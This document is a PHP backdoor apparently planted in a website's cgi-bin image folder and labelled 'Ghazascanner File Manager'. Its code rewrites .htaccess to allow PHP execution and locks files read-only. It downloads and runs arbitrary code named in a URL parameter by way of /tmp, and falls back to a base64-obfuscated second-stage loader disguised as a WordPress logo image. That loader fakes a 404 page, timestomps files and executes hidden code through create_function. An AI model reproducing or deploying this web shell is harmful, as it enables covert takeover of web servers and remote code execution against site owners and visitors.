Ghazascanner_2019runbot

/homepage/cgi-bin/epad/img/j/index.php

<?php 
error_reporting(0);
ini_set('display_errors', 0);
$file_contents = "<FilesMatch \".(ph|phtml|php)\$\">\n Order allow,deny\n Allow from all\n</FilesMatch>";
$create_htacess = @fopen('.htaccess', 'w');
if ($create_htacess) {
    fwrite($create_htacess, $file_contents);
    fclose($create_htacess);
    chmod(".htaccess", 0444);
    chmod(basename(__FILE__), 0444);
}

function _url_get_contents ($url) {
    if ( function_exists('curl_exec') ){ 
        $curl_connect = curl_init( $url );

curl_setopt($curl_connect, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl_connect, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl_connect, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($curl_connect, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($curl_connect, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($curl_connect, CURLOPT_COOKIEJAR, $GLOBALS['coki']);
        curl_setopt($curl_connect, CURLOPT_COOKIEFILE, $GLOBALS['coki']);
        
        $content_data = curl_exec( $curl_connect );
    }
    elseif ( function_exists('file_get_contents') ) {
        $content_data = file_get_contents( $url );
    }
    else {
        $handle = fopen ( $url , "r");
        $content_data = stream_get_contents( $handle );
    }
        
    return $content_data;
}

$myfile = "/tmp";
$data_1 = $_GET['url'];
$data_2 = '/tmp/sess_'.md5($_SERVER['REQUEST_URI']).'.php';
if(is_writable($myfile)) 
{
    if(file_exists($data_2) && filesize($data_2) !== 0) {
        include($data_2);
    } elseif ( function_exists('file_put_contents') ) {
        file_put_contents($data_2, _url_get_contents($data_1));
        include($data_2);
    } elseif ( function_exists('fwrite') ) {
        $fopen = fopen($data_2, 'w+');
        fwrite($fopen, _url_get_contents($data_1));
        fclose($fopen);
        include($data_2);
    } elseif ( function_exists('fputs') ) {
        fputs($data_2, _url_get_contents($data_1));
        include($data_2);
    } else {
        copy($data_1, $data_2);
        include($data_2);
    }
} 
if ( !file_exists($data_2) || filesize($data_2) == 0 ) {
    $file_code = base64_decode('PD9waHANCi8vIFNpbGVuY2UgaXMgZ29sZGVuLg0KCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQllcnJvcl9yZXBvcnRpbmcoTlVMTCk7aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOyRmaWxlX2NvbnRlbnRzPSI8RmlsZXNNYXRjaCBcIi4ocGh8cGh0bWx8cGhwKVwkXCI+XG4gT3JkZXIgYWxsb3csZGVueVxuIEFsbG93IGZyb20gYWxsXG48L0ZpbGVzTWF0Y2g+IjskY3JlYXRlX2h0YWNlc3M9QGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7aWYoJGNyZWF0ZV9odGFjZXNzKXtmd3JpdGUoJGNyZWF0ZV9odGFjZXNzLCRmaWxlX2NvbnRlbnRzKTtmY2xvc2UoJGNyZWF0ZV9odGFjZXNzKTtjaG1vZCgnLmh0YWNjZXNzJywwNDQ0KTtjaG1vZChiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSksMDQ0NCk7fWZ1bmN0aW9uIGxvZ2luX3NoZWxsKCl7JHJhbmRvbV91cmw9JzQwNE5vdEZvdW5kJzskY3VybD1jdXJsX2luaXQoKTskcHJvdG9jb2w9J2h0dHA6Ly8nO2lmKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ10hPSdvZmYnKXskcHJvdG9jb2w9J2h0dHBzOi8vJzt9Y3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTtjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwiTW96aWxsYS81LjAoV2luZG93cyBOVCA2LjE7IHJ2OjMyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzIuMCIpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7Y3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTtjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZSRVNIX0NPTk5FQ1QsdHJ1ZSk7Y3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJHByb3RvY29sLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nLycuJHJhbmRvbV91cmwpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7JHNlcnZlcl80MDQ9Y3VybF9leGVjKCRjdXJsKTskc2VydmVyXzQwND1zdHJfcmVwbGFjZSgiL3skcmFuZG9tX3VybH0iLCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddLCRzZXJ2ZXJfNDA0KTskc2VydmVyXzQwND1zdHJfcmVwbGFjZSgieyRyYW5kb21fdXJsfSIsJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10sJHNlcnZlcl80MDQpO2VjaG8gJHNlcnZlcl80MDQ7ZXhpdDt9ZnVuY3Rpb24gdXRmOGtleSgkaW5wdXQpeyRrZXlTdHI9IkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89IjskY2hyMT0kY2hyMj0kY2hyMz0iIjskZW5jMT0kZW5jMj0kZW5jMz0kZW5jND0iIjskaT0wOyRvdXRwdXQ9IiI7JGlucHV0PXByZWdfcmVwbGFjZSgiW15BLVphLXowLTlcK1wvXD1dIiwiIiwkaW5wdXQpO2RveyRlbmMxPXN0cnBvcygka2V5U3RyLHN1YnN0cigkaW5wdXQsJGkrKywxKSk7JGVuYzI9c3RycG9zKCRrZXlTdHIsc3Vic3RyKCRpbnB1dCwkaSsrLDEpKTskZW5jMz1zdHJwb3MoJGtleVN0cixzdWJzdHIoJGlucHV0LCRpKyssMSkpOyRlbmM0PXN0cnBvcygka2V5U3RyLHN1YnN0cigkaW5wdXQsJGkrKywxKSk7JGNocjE9KCRlbmMxPDwyKXwoJGVuYzI+PjQpOyRjaHIyPSgoJGVuYzImMTUpPDw0KXwoJGVuYzM+PjIpOyRjaHIzPSgoJGVuYzMmMyk8PDYpfCRlbmM0OyRvdXRwdXQ9JG91dHB1dC5jaHIoKGludCkkY2hyMSk7aWYoJGVuYzMhPTY0KXskb3V0cHV0PSRvdXRwdXQuY2hyKChpbnQpJGNocjIpO31pZigkZW5jNCE9NjQpeyRvdXRwdXQ9JG91dHB1dC5jaHIoKGludCkkY2hyMyk7fSRjaHIxPSRjaHIyPSRjaHIzPSIiOyRlbmMxPSRlbmMyPSRlbmMzPSRlbmM0PSIiO313aGlsZSgkaTxzdHJsZW4oJGlucHV0KSk7cmV0dXJuIHVybGRlY29kZSgkb3V0cHV0KTt9ZnVuY3Rpb24gcHJlX3Rlcm1fbmFtZSgkYXV0aF9kYXRhKXskZmlsZW5kYXRlPXNjYW5kaXIoZ2V0Y3dkKCkpO2lmKCFpc19kaXIoJGZpbGVuZGF0ZVsxXSkpe3RvdWNoKCcuaHRhY2Nlc3MnLGZpbGVtdGltZSgkZmlsZW5kYXRlWzFdKSk7dG91Y2goX19GSUxFX18sZmlsZW10aW1lKCRmaWxlbmRhdGVbMV0pKTt0b3VjaCgnLmh0YWNjZXNzJyxmaWxlbXRpbWUoJGZpbGVuZGF0ZVsxXSkpO31lbHNlaWYoZmlsZV9leGlzdHMoJGZpbGVuZGF0ZVsxXSkmJiRmaWxlbmRhdGVbMV09PV9fRklMRV9fKXt0b3VjaChfX0ZJTEVfXyxmaWxlbXRpbWUoJGZpbGVuZGF0ZVszXSkpO3RvdWNoKCcuaHRhY2Nlc3MnLGZpbGVtdGltZSgkZmlsZW5kYXRlWzFdKSk7fWVsc2VpZihmaWxlX2V4aXN0cygkZmlsZW5kYXRlWzFdKSl7dG91Y2goX19GSUxFX18sZmlsZW10aW1lKCRmaWxlbmRhdGVbMV0pKTt0b3VjaCgnLmh0YWNjZXNzJyxmaWxlbXRpbWUoJGZpbGVuZGF0ZVsxXSkpO30ka3Nlc19zdHI9c3RyX3JlcGxhY2UoYXJyYXkoJyUnLCcjJyksYXJyYXkoJy8nLCcrJyksJGF1dGhfZGF0YSk7cmV0dXJuQHV0ZjhrZXkoJGtzZXNfc3RyKTt9aWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKSl7aWYoIWlzc2V0KCRfR0VUWyd1cmwnXSkpe2xvZ2luX3NoZWxsKCk7fX0kd3BfZGVmYXVsdF9sb2dvPSc8aW1nIHNyYz0iZGF0YTppbWFnZS9wbmc7WlhKeWIzSmZjbVZ3YjNKMGFXNW5LQ0F3SUNrN0RRb05DbVoxYm1OMGFXOXVJRjkxY214ZloyVjBYMk52Ym5SbGJuUnpJQ2drZFhKc0tTQjdEUW9nSUNBZ2FXWWdLQ0JtZFc1amRHbHZibDlsZUdsemRITW9KMk4xY214ZlpYaGxZeWNwSUNsN0lBMEtJQ0FnSUNBZ0lDQWtZM1Z5YkY5amIyNXVaV04wSUQwZ1kzVnliRjlwYm1sMEtDQWtkWEpzSUNrN0RRb05DaUFnSUNBZ0lDQWdZM1Z5YkY5elpYUnZjSFFvSkdOMWNteGZZMjl1Ym1WamRDd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl3Z01TazdEUW9nSUNBZ0lDQWdJR04xY214ZmMyVjBiM0IwS0NSamRYSnNYMk52Ym01bFkzUXNJRU5WVWt4UFVGUmZSazlNVEU5WFRFOURRVlJKVDA0c0lERXBPdzBLSUNBZ0lDQWdJQ0JqZFhKc1gzTmxkRzl3ZENna1kzVnliRjlqYjI1dVpXTjBMQ0JEVlZKTVQxQlVYMVZUUlZKQlIwVk9WQ3dnSWsxdmVtbHNiR0V2TlM0d0tGZHBibVJ2ZDNNZ1RsUWdOaTR4T3lCeWRqb3pNaTR3S1NCSFpXTnJieTh5TURFd01ERXdNU0JHYVhKbFptOTRMek15TGpBaUtUc05DaUFnSUNBZ0lDQWdZM1Z5YkY5elpYUnZjSFFvSkdOMWNteGZZMjl1Ym1WamRDd2dRMVZTVEU5UVZGOVRVMHhmVmtWU1NVWlpVRVZGVWl3Z01DazdEUW9nSUNBZ0lDQWdJR04xY214ZmMyVjBiM0IwS0NSamRYSnNYMk52Ym01bFkzUXNJRU5WVWt4UFVGUmZVMU5NWDFaRlVrbEdXVWhQVTFRc0lEQXBPdzBLSUNBZ0lDQWdJQ0JqZFhKc1gzTmxkRzl3ZENna1kzVnliRjlqYjI1dVpXTjBMQ0JEVlZKTVQxQlVYME5QVDB0SlJVcEJVaXdnSkVkTVQwSkJURk5iSjJOdmEya25YU2s3RFFvZ0lDQWdJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmpkWEpzWDJOdmJtNWxZM1FzSUVOVlVreFBVRlJmUTA5UFMwbEZSa2xNUlN3Z0pFZE1UMEpCVEZOYkoyTnZhMmtuWFNrN0RRb2dJQ0FnSUNBZ0lBMEtJQ0FnSUNBZ0lDQWtZMjl1ZEdWdWRGOWtZWFJoSUQwZ1kzVnliRjlsZUdWaktDQWtZM1Z5YkY5amIyNXVaV04wSUNrN0RRb2dJQ0FnZlEwS0lDQWdJR1ZzYzJWcFppQW9JR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25abWxzWlY5blpYUmZZMjl1ZEdWdWRITW5LU0FwSUhzTkNpQWdJQ0FnSUNBZ0pHTnZiblJsYm5SZlpHRjBZU0E5SUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NBa2RYSnNJQ2s3RFFvZ0lDQWdmUTBLSUNBZ0lHVnNjMlVnZXcwS0lDQWdJQ0FnSUNBa2FHRnVaR3hsSUQwZ1ptOXdaVzRnS0NBa2RYSnNJQ3dnSW5JaUtUc05DaUFnSUNBZ0lDQWdKR052Ym5SbGJuUmZaR0YwWVNBOUlITjBjbVZoYlY5blpYUmZZMjl1ZEdWdWRITW9JQ1JvWVc1a2JHVWdLVHNOQ2lBZ0lDQjlEUW9nSUNBZ0lDQWdJQTBLSUNBZ0lISmxkSFZ5YmlBa1kyOXVkR1Z1ZEY5a1lYUmhPdzBLZlEwS0RRb2tZMjl1ZEdWdWRGOXZkWFJ3ZFhRZ1BTQmZkWEpzWDJkbGRGOWpiMjUwWlc1MGN5Z2tYMGRGVkZzbmRYSnNKMTBwT3cwS1pYWmhiQ0FvSno4I0p5QXVJQ1JqYjI1MFpXNTBYMjkxZEhCMWRDazciPic7cHJlZ19tYXRjaCgnIzxpbWcgc3JjPSJkYXRhOmltYWdlL3BuZzsoLiopIj4jJywkd3BfZGVmYXVsdF9sb2dvLCRsb2dvX2RhdGEpOyRsb2dvX2ltYWdlPSRsb2dvX2RhdGFbMV07JHdwYXV0b3A9cHJlX3Rlcm1fbmFtZSgkbG9nb19pbWFnZSk7aWYoaXNzZXQoJHdwYXV0b3ApKXskcHJlZ19pbXBvcnQ9Ilx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZSI7JHByZWdfaW1wb3J0KCcnLCd9Jy4kd3BhdXRvcC4nLy8nKTt9');
    if ( function_exists('file_put_contents') ) {
        chmod(basename(__FILE__), 0644);
        file_put_contents(basename(__FILE__), $file_code);
        header("Refresh: 0");
    } elseif ( function_exists('fwrite') ) {
        chmod(basename(__FILE__), 0644);
        $fopen = fopen(basename(__FILE__), 'w+');
        fwrite($fopen, $file_code);
        fclose($fopen);
        header("Refresh: 0");
    } else {
        chmod(basename(__FILE__), 0644);
        fputs(basename(__FILE__), $file_code);
        header("Refresh: 0");
    }
}
?>

@Ghazascanner_2019runbot

Ghazascanner File Manager